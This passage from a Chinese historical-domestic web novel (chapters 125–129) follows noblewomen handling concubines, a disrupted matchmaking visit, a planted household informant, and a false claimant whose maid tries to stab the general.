慕大太太也是个明白人,知晓不能太过了,便顺着台阶下来。 她还问了那嬷嬷好些关于徐大太太的事儿,嬷嬷也都对答如流,滴水不漏。 慕大太太松了口气:“无碍就好!” 她又转向对徐诗敏道,“我的儿,这几日辛苦你了,府里还有一桩事也叫你委屈了,你不在的时日我已经狠狠训斥过淮安,只是……那女子确实与淮安有了情意,轻易割舍不下,若你愿意,便由我出面张罗两桌酒席,叫她允娘给你敬茶,正式抬为姨娘如何?” 徐诗敏掌心湿漉漉的。 听到这儿,心早已凉透了。 但比心更冷静的,却是头脑。 她想起了母亲的叮嘱,咬着牙露出一抹温和大度的笑:“瞧母亲说的,这本就是媳妇房里的事情,合该媳妇操办才是,怎能累着母亲?若叫外人知晓了,还道我娘家不会教女儿,媳妇又成了个拈酸吃醋的了。” “母亲放心,这事儿交给媳妇,必定让酒席办得风光漂亮。”徐诗敏越说心越疼,却笑得越发和气灿烂,“夫君爱重之人,也是我爱重之人,进了门来就都是自家姐妹。” “你能这样明白懂事就很好。”慕大太太也笑了。 屋内一团和气。 回到阔别几日的房中,徐诗敏摸出那枚璎珞。 第125章来者是客 鲜红依旧,玉质温润。 如今再看时,早已没有一开始那样痛心了。 可徐诗敏的眼底还是泛着层层不甘:“那女人呢?” 盈袖道:“被安置在另外一处院子里,少将军已经安排妥当了,一应人手齐备,咱们……暂时插不进手。” 方才自家主子和范嬷嬷去回话时,盈袖已经悄悄打听到了一切。 这个消息对她们来说并不算好。 徐诗敏也明白,这几日的装聋作哑错过了什么。 事已至此,她咬咬牙:“罢了,等将军回来再说吧。你……去外头候着,等他一进门就将人请过来。” “是。” 盈袖到底是跟在徐诗敏身边多年的大丫鬟。 办事都比寻常奴仆多个心眼。 当她看见慕淮安回府后先去了慕大太太的房中请安,便耐着性子等了一会儿,随后便在大太太院门外截住了慕淮安。 刚刚听了母亲劝导,慕淮安此刻瞧见妻子的丫鬟也没有几日前不耐。 他明白,这是一个夫妻和好的台阶。 二人一打照面,徐诗敏尴尬几分,便屏退左右,拿出了那枚璎珞。 “是我身边的人不中用,还以为这是我的物件,我今儿一回来才发现,便让人去寻你过来。”她温柔说着,双手奉上了璎珞。 慕淮安一见,面色沉了沉,很快便道:“难为你费心想着。” 说罢,他伸手接过。 徐诗敏装作没看到,又提了几句这段时日府里的事情。 他也关心地询问了岳母的病情。 一来二去,还算温馨和睦。 见差不多了,她淡淡笑道:“明儿我就让人操办起来,后日摆酒席正式给人家姑娘抬做姨娘,到底是爷的心上人,怎么也不能叫人受委屈。” “好。”慕淮安深深凝视着她,终于浮现出久违的温情脉脉。 这眼神太熟悉了。 曾几何时,徐诗敏也被他这样望着。 那时,她年少无知,还以为这是独属于自己的深情厚谊。 如今想来当真可笑。 她垂眸,靠在丈夫身边,忍着恶心说得越发贤良淑德:“能替爷您分忧,妾身就高兴了,往后我与允娘一道伺候爷,您就放心吧。” 翌日,徐诗敏果真如说的一样,很快奔走张罗起来。 到了第三日,府内大摆两桌酒席。 她端坐在上首,受了允娘的敬茶。 说起来,这还是她们二人头一回见面。 那允娘生得秀致漂亮,可总让徐诗敏觉得有些熟悉,偏又说不出是哪儿熟悉。 强撑着呷了一口茶,她便挪开视线。 自此,威武将军府多了个妾室。 慕大太太也不是得理不饶人的,见亲家母派来的范嬷嬷久久没走,她自然明白其中要害,便在敬茶的次日将允娘的身契交到了儿媳手中。 “这是你们那房的事情,还是交给你来最妥当。”慕大太太笑道。 徐诗敏心定了一半,说话也越发好听:“多谢母亲疼爱。” 就这样,慕淮安轮流去妻妾二人的院中。 对比起来,还是允娘更得宠一些,十日中,总有三四日在她房内,留给徐诗敏的也就那么一两日,其余的时光慕淮安更喜欢待在外书房,独自一人。 眼瞅着还有两日便是除夕了,虞声笙盘点了一下嫁人后的头一年的工作进度。 又是宽慰又是不甘,她心中感叹——还是人手太少了呀。 终究是有些胆小了,不敢放开手脚。 其实料理这么大一个府邸,还是人越多越好。 不该太计算用人的开销,须知银子花下去了,才能看见成效。 虞声笙自我反省了一会儿,便在册子上写下了来年工作重点。 写完后,她满意地看了又看,又扒着手指数了数日子,估摸着闻昊渊也就这两日回来了,刚好可以赶得上除夕团年。 暖阁中如春一般惬意,熏得人睡意朦胧。 她眼皮渐渐发沉。 今瑶进来了,见状忙笑道:“夫人,您还不能睡呢,您忘了么等会儿下午晌还要出去一趟,去大学士府上的呀,人家太太早就下帖子请了的。” 虞声笙这下想起来了,无不遗憾地感叹:“那就只能回来再睡了。” 原本年前宴饮少了很多,各家各府也都在为了过年而忙碌,哪有闲工夫招待旁人呀,除非是做寿、婚嫁等大事。 郭大太太这次邀请她过去,一来是彰显他们两府走动频繁,关系亲密,二来么……是为了给郭文惜相一个未来夫婿。 一般这样的安排,那就意味着主家已经有了大概人选。 不过是去帮忙相看一二,再说点好听的吉利话。 这活计虞声笙熟得很。 略梳洗后,她便更衣出门了。 今日大学士府的花厅里格外温暖,熏得那早桃的花苞都微微绽开,露出点点红妆,与摆在一旁一株金灿玉桂的金桔遥相呼应,令人眼前一亮。 郭大太太不愧是大学士府的当家主母,审美很是不错。 别看暖笼起着,屋中洋溢着温温之意,偏又一股子清冽的香味弥漫开来。 这下更显得花厅不那么沉闷,隐隐有沁人心脾的功效。 花厅分为两部分,外头待客的是前厅。 后头还有一架彩绣云锦的白鹿屏风挡着,便是后头小姐藏着的地方。 郭文惜在这儿等了多时。 见虞声笙来了,她忙上前挽着她的胳膊,亲热道:“你怎么才来呀,我等你等得好久了,这茶都快凉了。” “我不来,你就不相看未来夫婿了?”虞声笙打趣道。 “你这人……”郭文惜有些羞恼地跺跺脚,“我拿你当自家姊妹呢,你倒好,竟还开我的玩笑。” “这有什么好害羞的。”虞声笙大大方方,“男婚女嫁本就天经地义,是世间最寻常的事情了,若这儿郎福气大,能入得了你的眼,成就一桩良缘又有何不可?” 见她说得坦荡,言语间没有半点捉弄戏谑,郭文惜又安下心来:“还不知道什么样呢……” “咱们俩一块瞧着不就好了。” 过了一会儿,外头又来了两位贵妇。 这二人,一个是中间保媒的,另一个便是那儿郎的母亲了。 都是京中名门女眷,对礼寒暄皆有章法。 郭大太太刚邀请二人坐下,门外传来另一个声音。 这声音过于高调泼辣,人还未到跟前,声音已经抢先一步:“哎哟,是我来晚了,大太太别见怪。” 话音未落,但见一个玫红色的身影匆匆而来。 那人到了郭大太太跟前福了福,一抬眼却看得郭大太太目瞪口呆,面色渐渐流露出不悦。 虞声笙也认出了对方的身份。 这不是瑞王府的江姨娘么? 主母们商议儿女婚事,却混进来一个妾室,这要是传出去了,怕是会成为半个京城的谈资。 笑话倒未必会笑话,但一定会被人拿来奚落大学士府忒没规矩。 郭文惜小脸微微发白,低声呢喃着:“她来干什么?” 没等郭大太太开口,那贵妇中的一人怯怯道:“没提前与大太太你打声招呼,是我疏忽了,江姨娘……也跟着来了,应当没事吧?” 人都来了,还问这话,叫人家郭大太太怎么说? 郭大太太战术性喝茶,连喝了好几口才勉强道:“坐吧,来者是客;来人,给江姨娘上茶。” 第126章真正来意 江姨娘笑着坐下。 她是个活络的性子,一张口就说个没完。 把那儿郎从天夸到地,听得虞声笙都一头雾水——京中有这样一号人物么?她怎么不知道? 但凡有这样出众的男子,家世门第都不错,又正当婚配之年,怕是府里的门槛都会被媒婆踩烂了,还用得着这样吹捧的么? 郭大太太笑而不语。 另外两位贵妇倒是聊得很投机 “说一千道一万,不如叫人过来给大太太瞧瞧。” 郭大太太抿了抿嘴角:“成啊,外头天寒地冻的,叫人一直站着也不是个事,叫进来吃杯茶吧。” 这话不咸不淡。 另外两位贵妇也看明白了,笑容颇有些讪讪。 不一会儿,一青衫儿郎进来了。 倒也生得眉清目秀,一派款款文人的模样,举手投足皆有教养,说话也颇有章法,一听就是家里早早启蒙,且又学得不错的。 郭大太太可不是寻常内宅妇人。 作为郭大人的妻子,她能这么多年与丈夫琴瑟和鸣,必然也通晓文墨。 她张口便提了几个问题,那儿郎也对答如流。 见状,郭大太太的脸色稍稍放晴,也就稍稍罢了。 其中一人是那儿郎的母亲,见自家儿子这么优秀,心中自豪,一时心急便想趁热打铁,将这事儿定下来。 谁料郭大太太却淡淡道:“不急,没几日就要过年的,儿女婚嫁本就是大事,哪有赶得这样着急的,旁人要是不知道,还道是我郭府的女儿嫁不出去。” “大太太哪儿的话……” 贵妇一瞧郭大太太的脸色,便知今日这事怕是黄了一半,不由得暗暗叫苦。 又说了一会子,郭大太太便请茶送客。 江姨娘不急着走。 她眼珠子滴溜溜地看向屏风后头,笑问:“今日陪着令千金的,可是威武将军府的夫人,早就听说将军夫人与令千金关系好,还是真的了,今日既然有缘在这儿遇着了,何不将夫人请出来也说一番话?” 郭大太太面笼寒霜,几乎要发火。 到底是妾室姨娘,就是上不了台面。 人家相看男女婚事,不都是隔着屏风看破不说破,她倒好,一句话给人家老底都掀了。 郭文惜也气得够呛,作势要冲出去狠狠教训那江姨娘一顿。 虞声笙按住了她,小声道:“既是来找我的,你去干什么?还不在这儿歇歇。” 说罢,她缓缓从屏风后头出来。 满脸慵懒,甚至还有些打不起精神的模样。 “江姨娘真是手眼通天,就连我身子不适,在屏风后头躲懒休息也被你一眼看出,当真是不得了。”虞声笙边说边走到郭大太太跟前温柔道,“多谢大太太了,我方才睡了一会儿,觉得好多了。” “哪里话,你与我自家晚辈是一样的,大约是许久没出门了,乍一到我这儿暖和得紧了,便有些吃不消。”郭大太太何等聪明,立马明白了她的意思,顺着她的话往下说。 江姨娘嘴角僵了僵:“屏风后头只有夫人一人么?” “还有我的丫鬟。” 金猫儿刚巧收拾好出来,冲着屋内的几位贵人见礼请安。 见状,另外两位贵妇意识到不对,刚开口解释了两句,就被郭大太太四两拨千斤地给挡了回去。 “今日是我招待不周,原想着请你们几位过来聚一聚的,却不想年下事情多,总有顾及不到的,等天气和暖了,我再下帖子郑重邀请。” 她将儿女相看说成了寻常请客拜访。 就是不想再与对方结亲。 那儿郎的母亲这才意识到不妙,看向江姨娘的眼神格外不快。 江姨娘仿若没听见,盯着虞声笙:“我听说了,还未恭贺府上纳妾之喜。” 虞声笙原本淡漠平静的眸子瞬间凝结,似笑非笑地看过去:“姨娘什么意思,何为纳妾之喜?” “夫人年轻,脸皮薄,不愿承认也是应该的,但夫人听我一句劝,男人不都是这样的么,吃着碗里的看着锅里的,好在夫人是正房奶奶,是我这样的妾室无论如何都比不得的;夫人放宽心,那新入府的也就这几日的新鲜罢了,归根结底将军府说了算的,还是夫人您。” 江姨娘捋了捋帕子,又道,“昀哥儿今日可还好?” 话都说到这份上了,虞声笙哪有不明白的。 “难为江姨娘一直惦记着,昀哥儿挺好的。”说着,她又转向对郭大太太解释,“昀哥儿是我府里的一个小书童,如今正跟在我侄子身边呢。” 她摇摇头,无不感慨,“江姨娘到底出身低微,连我府中一个小书童都能这样惦记,这份善心真是我比不了的。” 这话太打脸。 江姨娘顿时有些笑不出来了。 仗着瑞王府撑腰,仗着男人宠爱,江姨娘这些年可没少风光。 就算有人看不惯她,甚至是瞧不起她,但也没有当面难堪的。 不给江姨娘面子,也要给瑞王府三分薄面,打狗还得看主人嘛。 谁料这将军夫人却半点面子不留。 虞声笙的笑容加深了:“不过,江姨娘有这个闲心来管我府里的事,不如回王府好好照看照看,我怎么听说江姨娘的亲戚前些时候打着你的旗号放利钱,可惹了不少麻烦呢?” 江姨娘错愕,瞪圆了眼睛。 “至于我府上嘛,我家将军奉命办差,至今未归,我府里怎么可能在这个节骨眼上纳妾?我与将军新婚不满一年,又不是脑壳坏掉了,我急吼吼地给我丈夫身边塞人,我图什么呢?” 是啊,她上无婆母压制,又无姑嫂妯娌制衡。 根本不需要寻个妾室来讨好丈夫。 就算要纳妾,也不是这个节骨眼。 郭大太太已经看明白一切,没等江姨娘再开口,她便干脆了断地让婆子送客。 这么一来,江姨娘就算有再厚的脸皮也不好意思继续待下去。 她狠狠剜了一眼虞声笙,不甘心地走了。 另外两位贵妇也还想说什么,但瞧瞧郭大太太那冷如冰霜的脸,话到嘴边又咽了回去。 待人都走了,郭文惜才从屏风后头出来。 “今日这事儿是我没安排妥当,叫你委屈了,也叫夫人看了笑话。”郭大太太无奈。 虞声笙扯了扯嘴角,干巴巴道:“恐怕未必,指不定是因为我才黄了这事儿,那江姨娘八成是来寻我的……倒是连累了太太与文惜。” “说什么连累的,要是那夫人不让江姨娘偷偷跟着,江姨娘还能拿刀逼她不成?说白了,今日露馅倒是好事,万一到以后才露出马脚,岂不更糟糕!”郭文惜一针见血。 郭大太太颇为欣慰。 女儿到底长大了呀,看事情竟能一瞬抓住要害。 “你府里的事情为何能让一个外人知晓?”郭大太太转念提起另一桩要紧之处,有些担忧地看着虞声笙,“管好一个府邸并不是易事,约束下人更是如此,你怕是回去要有的忙了。” 虞声笙如何不明白,苦笑连连。 坐在回程的马车里,她阖目养神,脑海中将府里内外都捋了一遍。 今瑶轻声问:“夫人可是在想咱们府里是谁把消息漏出去的?” 第127章翻脸无情 “消息漏出去并不奇怪,这么大一个府邸呢,况且我又刚刚掌家不足一年。”虞声笙语气平淡,“我奇怪的是江姨娘为何如此胆大,还敢舞到我跟前来,还想拿这些话拿捏我。” “是啊。”金猫儿也纳闷,“纳妾一事又不是什么大事,京城高门府邸中,纳个把小妾算得了什么?这也值得拿出来说?” “就是这个理。”虞声笙冷笑,“我越是想掩人耳目,她越是要把消息捅出去,大约是欺负我年轻,加上眼下将军不在府里,便想趁虚而入。” 她边说边把玩着那串铜钱。 此时此刻,她终于明白那副给闻昊渊起的卦象上为何侧星异动了。 原来是这么回事。 略略沉思,她撩起眼皮:“先回府再说。” 回到府里,虞声笙先把府中上下各人的身契捋了一遍。 分出了死契与长契。 其中又分了一部分,统共筛出了七八个她觉得有疑点的人选。 将这些人的身契挑出来,以姓名为问,起卦询天,很快便有了结果。 一个名为康田的男人浮出水面。 见到这个人,虞声笙突然有了印象。 这还是掌管外院杂务和主子们出行的管事。 他正值壮年,又颇有能耐,回话干脆利落,很对虞声笙的脾性,便将他的位置又提了提,最终成为了管事。 虞声笙不由得暗暗反省。 下回用人可不能这样草率了,旁人都偷到她家门口了,她还恍然未知。 素白的指尖在那张身契上轻轻敲着,她眯起眼眸,很快便有了决断。 先派人暗中调查了这个康田,随后明面上大张旗鼓地盘问府里每一个家奴,将愤怒的年轻主母的形象贯彻于心,叫众人都暗中埋怨,没少骂当家主母阴晴不定,难伺候。 消息传来,江姨娘听了频频发笑。 她对着镜子理了理发髻,这会子刚刚上了头油,正是润泽油亮,从妆奁中挑挑拣拣选了一支珠花戴上,她笑得越发开心。 “哼,区区一个养女,以为攀上了一棵大树就能从此高枕无忧……还想凭着一己之力护着不该护着的人,给了她那么多台阶她不下,非得逼得我这般,当真是愚不可及。” 她轻声呢喃着。 一旁的玛瑙忙道:“姨娘说的是,那康田传了话来,说威武将军府这会子里头乱成一团,奴仆们叫苦不迭,可见那将军夫人是慌了手脚,一时间又查不出谁是内鬼,正火急跳脚呢。” “那可不。”江姨娘满意了,“到底年轻了些,从前又没旁人教,自然如此。” 话毕,她又叮嘱玛瑙这些时日多多留意威武将军府。 只要有机会就立马来报她,她会趁机将昀哥儿弄到自己身边。 她已经让康田在昀哥儿身上动了手脚,只要虞声笙查,就一定会将目标转到昀哥儿处。 到时候一个没什么根基的书童做出了背叛将军府的事情,自然只有被撵出去这一条路可走。 这法子,打的就是一个借力打力。 借虞声笙的手,拔除昀哥儿。 大年初一,威武将军府大门紧闭,康田费尽心力才将消息传了出去,告知江姨娘他们府里的夫人已经锁定了昀哥儿,这会子昀哥儿已经被拖去柴房,还请江姨娘再多候几日。 江姨娘对这个结果甚是满意,一高兴都忍不住多吃了两碗饭。 瑞王见她如此心宽快活,好像也回到了曾经那个不拘小节的时候,也不自觉面露微笑,一时间二人情浓非常,隐隐有过往风光。 年初二,闻昊渊回来了。 虞声笙一早便起卦。 见得卦象,她一跃而起,吩咐左右更衣备马,又让人开了偏门,一架轻车小轿直奔城外。 城郊外五六里处,她远远见到那个男人高大的身形。 晨光破晓,落在他身上,留下一片光影迷离的剪影。 闻昊渊也很惊讶,策马而来。 看清楚真的是她,男人满脸欢喜,连带着马匹都跟着兴奋起来,不断在她左右来回踱着步子,他勒紧缰绳,脸上的疲惫一扫而空:“你来接我?” “当然。”虞声笙弯起眉眼,“你要先进宫回话的吧,咱们坐着马车,路上风大冷得紧,等到了宫门外你再骑你的马。” 见丈夫面露迟疑,她蹙眉轻呵:“我大老远地来接你,你磨磨蹭蹭作甚?让你来你就来,我有话跟你说!” 少女白净的脸蛋儿浮现出几分淡红。 迎着明媚的朝阳看起来那样生动细致。 有种隐隐勃发的生命力,美得别具一格。 闻昊渊见状,哪里还有拒绝的道理,翻身下马,将马匹交给身边的副将,又让身后那些官兵们跟紧了,自己一头扎进马车,与妻子香香暖暖地窝在一块。 他心满意足。 娶妻真好呀。 他在外奔波这么多年,从十四岁起独立至今,被人这般温柔相待还是头一回,更是头一回有人来接。 这感觉对他而言新鲜又有趣,更为珍惜。 望向身边的妻子,他忍住了去握她手的冲动,他粗糙的大手顶着寒风多时,他怕冻坏了她。 四目相对,还未开口,只听虞声笙冷冰冰问:“你不在的这些时日,府里来了位自称露娘的女子,她说是你在外头的相好,登门要名分呢!你怎么想?” 闻昊渊蹙紧眉间:“谁?什么娘?” “露娘!” “不认识,没听过。”闻昊渊一阵气闷,“谁的相好?” “你的,她说是你的。” 瞬间,男人面色沉如锅底:“我没有什么相好,你让那人进府了?别再是什么骗子!!” “你又不在府里,万一是你的相好,我又把人拒之门外,这天寒地冻的,再给人家娇滴滴的弱女子冻坏了可怎么办?再者,她要是借机闹起来,不是更不好?” 她见丈夫这反应,心中的不快已经消了大半,“你放心,我也不是以妾室姨娘的名义让她进府的,只说是府里的客人,远道而来投奔的亲戚罢了。” 闻昊渊还是不爽。 他有种莫名的感觉,觉得自己脏了。 自己在外奔波劳苦,就为了能给家中妻子一个安稳富足的生活。 他们才新婚,日后一定会有接二连三的孩儿降生,他作为一个大男人,一家之主,怎能不为妻儿支撑起一片天? 他这么铆足劲地办差,居然不知从哪儿冒出一个人来说是他的相好。 闻昊渊的脸都气得铁青。 “先进宫向陛下回禀,随后回府慢慢说。”他言简意赅。 “听你的。” 在宫门外略等了小半个时辰,虞声笙就瞅见闻昊渊回来了。 他吩咐了副将几句,将众人遣散,翻身上马,对坐在马车里的她说:“我先走一步,你在后头慢慢跟着,咱们府里见。” 虞声笙心头咯噔一下。 还没来得及说话,那人已经策马在数丈之外了。 等她紧赶慢赶回了府里,只见那露娘跪在院中,她的丫鬟翠儿也跟着跪在她身后,二人战战兢兢,哪里还有平日里娇俏玲珑的模样。 不知是怕的,还是冻的,露娘战战兢兢,牙齿打颤:“将军为何翻脸无情?” 第128章为夫的清白 “你可识字?”闻昊渊大刀阔斧地立着,居高临下凝视着眼前二人。 “自然识得,将军您不是最清楚的么,你与我耳鬓厮磨多日,夜夜伴在一处,怎就不记得了?”露娘颤颤地抬眼,这一眼尽显楚楚风情。 别说男人了,就连虞声笙瞧见了都忍不住有些心软。 论姿色,这露娘肯定算不上顶尖。 但这骨子里透出来的柔美娇弱,却是出类拔萃。 可惜,闻昊渊是个木头,欣赏不来,露娘这招属于媚眼抛给瞎子看,全都错付了。 “好。”他随意一挥手,石勇立马上前丢给露娘一张舆图。 石勇道:“姑娘,麻烦你读一读上面的字吧。” 露娘忙接过,一字一句开始念着。 念完后,她还是浑然不解,大大的眼睛满是疑惑,不明白闻昊渊要她读这些做什么。 一旁的虞声笙已经了然,垂眸不语。 闻昊渊冷笑:“你说,你与我是在战场前线相识,我救了你一命,你便以身相许,是么?” “正是……” “你刚刚念的,都是我前些年在外征战的前线路径,你所念的每一座城池都曾在战火中覆灭又夺回,后又在朝廷的建设下重修;我经过之处,战火纷飞,死伤无数,能活下来的不足千分之一,其中绝大部分都是青壮男子,女人能活下来的少之又少,尤其像你这般细皮嫩肉的,更是毫无生还的可能。” 闻昊渊冷笑道,“我领兵打仗,可以三天三夜不合眼,战事如此吃紧,我怎么可能带你这么个累赘在身边?” 露娘突然明白了,嘴唇颤抖着,还想挤出一抹笑来圆场。 期盼着闻昊渊看在自己美貌的份上,能宽容一二。 “将军明鉴,是、是我莽撞了……将军确实救过我,我也确实感激在心,若非如此我也不会千里迢迢投奔,只想偿还了将军这份恩情!”露娘立马改口。 她膝行几步,想去抱闻昊渊的腿,却被石勇一把按住,动弹不得。 “说吧,谁让你来的?”闻昊渊不客气道。 露娘慌乱不已,泪如雨下:“我真的是被你救过一命的呀,就在平家镇,你忘了么?!你说过的,如果以后有需要可来京城寻你帮忙的……当时你给我的信物还在!将军!!” 她边说边掏出了一把匕首。 那匕首闪着寒光,那上头还镶嵌着宝石。 一看就非凡物。 见着这个,闻昊渊神色微动,似乎想起了什么。 露娘见状忙哭诉:“我知晓此番行动是过于胆大了,可我只想来报恩,不管丫头也好,妾室也罢,叫我留在将军身边伺候吧!” 她盈盈拜倒,咚咚磕头。 闻昊渊制止了她:“大过年的,别给我府邸沾上血腥,不吉利。” 露娘无奈,不知该如何是好,眨巴着泪眼满是祈求。 她又看见不远处的虞声笙,仿佛落水之人抓住了最后一根稻草:“夫人,将军夫人!我晓得您是最宽容大度的主母了,还求夫人容下我吧!” 虞声笙很想说,难道离了将军府,你就没别的出路了? 但嘴角动了动,她依旧选择沉默。 这事儿前因后果她不了解,看闻昊渊的脸色应该是又有什么她不知道的内情,对于这种眼前一片模糊的事情,最好的处理方式就是一问三不知,不到万不得已绝不开口。 闻昊渊冷冷注视着露娘:“你抬起脸来,仔细看看我的模样,我是否是当日救下你的人?” 露娘抬眼,泪水涟涟:“是的呀,错不了……” 她一开始还很坚定,可短短几个字还没说完,她就语气失控,一阵心虚。 再看看她的模样,瞪圆了眼睛,满脸难以置信。 “那人与你差不多身高,一样伟岸,这样的身姿本就少,怎会不是……一个人呢?”露娘茫然了。 她还记得那一日自己被救时的画面。 那男子半张脸都被胡子遮盖,只有英挺的鼻梁与锐利的眸光很是出众。 对方又说自己是威武将军府的少爷,如何不对? 可眼前这人,乍一看确实与记忆里的救命恩人很像,尤其周身的气质与那双眼睛;但若细看,还是有很多不像的地方,首先没了胡子,越发显得闻昊渊多了几分俊秀;相比那人,他却更显得冲动莽撞。 露娘满脸疑惑——真的是自己认错人了? 闻昊渊收起匕首,命人将露娘带回房中。 露娘浑浑噩噩,似乎还不能从自己认错人这件事上回过神来,任由过来的婆子搀着自己。 翠儿见状忙要跟上,却被石勇拦下。 翠儿眼珠子一转:“我要陪着我们姑娘的。” “她可以走,你留下。”闻昊渊淡淡道。 说时迟那时快,刚刚还温柔卑微的丫鬟瞬间变得眼神凌厉,从怀中抽出一把利器来直奔着闻昊渊刺去! 虞声笙吓了一跳,行动却比脑子转得更快一步,操起一旁的小几对准翠儿砸了过去! 哗啦一声,木质小几砸在翠儿身上,紧接着她又硬生生挨了闻昊渊一脚,发出两声痛苦的哎哟,整个人趴在地上晕了过去。 惊魂未定。 这男人还回眸笑道:“夫人好快的反应。” 虞声笙好气又好笑:“还笑,赶紧让人把她捆起来!!” 太可怕了。 她居然放进了一个别有用心且会拳脚功夫的人进府,实在是失策! 谁能想到内宅争斗,竟还会牵扯上这种势力。 几个婆子拿着麻绳上前捆人。 虞声笙不放心,一直守在旁边做现场指导。 由她指点捆好的麻绳结实又紧绷,只要翠儿想挣扎,这绳索反而会越来越紧。 她满意了:“接下来怎么办?这人是谁你心里有数没?” 闻昊渊点点头,让石勇把翠儿带下去看管起来,他会择日再好好审她。 回到安园,虞声笙灌了几口茶,彻底打开了话匣子:“不厚道啊,欺负我一个内宅妇人,居然还给上难度,那叫翠儿的丫鬟什么来头,你一定好好审问清楚,还有那个露娘!!一个都不能放过!” 一想起这些时日花在这二人身上的银钱,她就痛心疾首。 恨不得穿越回去给当时的自己两记耳光。 闻昊渊打断了她的碎碎念:“现在为夫的清白可以分明了吧?” “这是重点嘛?”她横了一眼,头一次觉得这男人或许有点拎不清。 “这不是重点嘛?”他反问。 虞声笙:…… “这就是重点。”他很肯定地强调。 略平静了一下心情,她又跟闻昊渊说起康田和江姨娘的关系:“我寻思着,既然露娘来得突然,这翠儿身份又不明,想必跟江姨娘多少有关系,我打算留着康田,顺藤摸瓜。” “那她要是将露娘在我们府里的事情宣扬出去,逼得你夫君不得不纳妾,要怎么办?”他故意笑问。 虞声笙斜着眼睛看他:“开玩笑,除了皇帝陛下,还有人能强迫你纳妾不成?你若不愿,就是一千个江姨娘在外造势又如何?” 这话正中红心。 闻昊渊满意了:“就听夫人的。” 又等了好些时日,一直等过了上元佳节,江姨娘有些坐不住了。 第129章好机会 自从那一日康田冒险传递了消息过来,就再也没了下文。 江姨娘失了这条暗线,对威武将军府里的一切情形都摸不透。 越摸不透,便越发不安。 昀哥儿的事始终是她记挂在心头的一块心病。 若不早日拔除,迟早会酿出祸害来。 这么一想,她越发将虞声笙恨到了骨子里——真不明白,这区区养女为何总是跟自己过不去?不过一个书童小厮,说白也是下人,为何为了一个奴仆跟自己翻脸? 日头渐渐和暖,江姨娘终于忍不住派人去打探。 很快对方就带回了康田的消息。 “什么?!他竟背叛了我?”江姨娘不敢置信。 “也不知是不是背叛了姨娘,反正那门房说康管事已经得了夫人垂青,府里掌权是一日大过一日,上元节后隐隐有成为府里第一管事的苗头;还说还说……那康管事正值壮年,夫人还打算将自己身边的丫鬟配给他做妻房。” 玛瑙忙将那人的回话一五一十都告知主子。 还没听完,江姨娘脸色就难看到可怕。 是了,肯定是康田背叛了自己,亏得他们还是老乡,亏得当初是她给了两吊钱给他,让他能顺利讨好人牙子,才能进得了威武将军府。 如今可好,竟过河拆桥,翻脸不认人了! “真是条好狗!”江姨娘咬牙切齿。 “姨娘要不再查查?万一不是呢……” “哼,还有什么可查的,要不是他会这么久不给我传消息?你看看他如今升得多快,这么快都要当上头等管事了,还能娶他们夫人的贴身丫鬟,若非他讨好献媚,把我给供出去的,那虞四又怎会如此待他?” 江姨娘越想越气,越发觉得就是自己想的这样。 “你既不仁,那就别怪我不义了!对了,昀哥儿怎么说?还被关着么?” “这几日澜麓书院开课,奴婢派人盯着将军府的小少爷,出行都没见着昀哥儿,想必还关着。” “康田定然是将所有脏水都泼到昀哥儿身上了,倒也不算蠢,要是那虞四能趁机除了昀哥儿,倒是解决了我的一桩心腹大患。” 江姨娘眼珠子一转,想起那日在大学士府备受嘲弄的待遇,就忍不住怒气翻涌。 她摆摆手,玛瑙立马附耳过来。 她耳语几句后,冷森森地叮嘱:“千万做干净了,别叫人抓住什么把柄。” 玛瑙面露迟疑:“可姨娘,要是……那将军夫人没有按照我们的计划行事呢?” “她年轻面薄,哪里能受得住别人当面羞辱?你只管去做,我自有法子。” 江姨娘一副胜券在握,满脸得意。 春年花开,正是一年春耕时。 宫中大行祭祀之礼,届时内外命妇一个不落,皆跟在皇后身后,恭顺地完成这场祭天之典。 虞声笙也是头一遭。 虽年轻,但她埋入人群中依旧不落章法,处处规矩。 瞧得那些个有经验资历的贵妇都啧啧称奇。 ——虞府养女规矩倒好,可见教养得很不错,难怪能嫁入高门,觅得佳婿。 这一趟下来,虞声笙也收获了不少人脉。 点头之交也罢,相谈甚欢也好,总归不是坏事。 闹了几日才算平息,闻昊渊又让她开了府中粮仓,取出一部分粮食来施舍给那些平民,以助他们度过青黄不接的时候。 这也是每年开春的必备桥段。 大户人家想要积福或是赚一个好名声,大多不会拒绝这种活动。 威武将军府设的粥棚永远是最受欢迎的那一个。 每日早早就有人过来排队。 每人每日只能领两碗粥,四个馒头。 那粥熬煮地浓稠,馒头虽瞧着泛黄,但个头大实在,领到的百姓无不欢喜。 闻昊渊后来看过一次,发现虞声笙安排的粥都不是白米粥,里头分明添了杂粮的,他蹙眉:“这样是不是有些不太好?” 别的府邸为了好名声,上的都是白米粥。 那可是白花花的大米呀,寻常人家一年都吃不起几回。 虞声笙出身乡野,自然明白闻昊渊的意思。 她抿唇一笑:“夫君莫急,且等等再看,施粥这事儿还得放长远了再瞧。” 果不其然,没几日就有人参了威武将军府一本。 说威武将军府假借施粥为名,沽名钓誉,实际上给老百姓吃的都是掺和了旁的材料的米粥,这是在造假! 消息传来,一时间人人引为笑谈。 茶余饭后都多了一笔谈资。 就连虞声笙去赴宴时,都有人半含酸笑道:“将军夫人可是府上钱粮不够了?若不够,还可以与咱们说说,怎么也不能叫府上的粥棚垮了不是。” 每每这时,郭文惜都会怒气冲冲跟人家理论一番。 虞声笙拦都拦不住。 她算是明白这姑娘的脾性了。 只要是郭文惜认准的朋友,她就会一腔热情地对待,不分彼此。 天真了些,但也直白得可贵。 虞声笙安抚:“不要紧的,随她们说好了。” “我信你不是这样的人,我就是听她们嘀咕得烦,整日一双双眼睛不看自己,光盯着旁人家了。”郭文惜火气不减,一眼瞥过去,忙又瞪起眼睛,“看什么看?” 把那千金小姐吓得脖子一缩,嘴角抿紧,忙换了个位置。 虞声笙见状,哭笑不得,只好拽着她:“走,我们去园子里赏花。” 任凭外头闹得愈演愈烈,威武将军府始终如一。 粥棚照开,施粥照给,一如既往。 这一日天还没亮。 威武将军府某一处不起眼的后门吱呀一声开了。 有两人偷偷摸摸地出来,先是观望四周一番,随后抬着用破布包裹得严严实实的东西出来,一路抬上了马车,直奔城郊。 他们似乎没察觉到,不远处的拐角,有人探头探脑,将这一切尽收眼底。 日头渐渐升了上去,江姨娘正用早饭。 底下有人来报。 江姨娘还没听完那人的回话,便又惊又喜:“当真?你可看仔细了?真是那小子的尸体?” “真的,千真万确!”那人忙道,“小的跟在后头看得明明白白,那马车一路去了城郊,把那尸首丢在了乱葬岗埋了!等他们走远了,小的才过去挖开来瞧了,准错不了。” 江姨娘放下碗筷,只觉得浑身说不出的快活:“好好,赶紧随我去见王爷。” 